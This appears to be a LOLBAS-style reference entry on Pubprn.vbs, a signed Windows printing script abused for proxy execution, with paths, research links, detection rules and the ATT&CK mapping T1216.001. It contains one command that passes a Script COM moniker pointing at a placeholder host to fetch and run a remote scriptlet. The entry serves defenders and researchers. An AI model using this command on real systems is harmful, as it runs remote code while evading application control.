.. /Pubprn.vbs

Execute

Proxy execution with Pubprn.vbs

Paths:
C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs

Resources:
- https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
- https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
- https://github.com/enigma0x3/windows-operating-system-archaeology

Acknowledgements:
- Matt Nelson (@enigma0x3)

Detections:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml

Execute

Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection

```
pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct
```

Use case:	Proxy execution
Privileges required:	User
Operating systems:	Windows 10
ATT&CK® technique:	T1216.001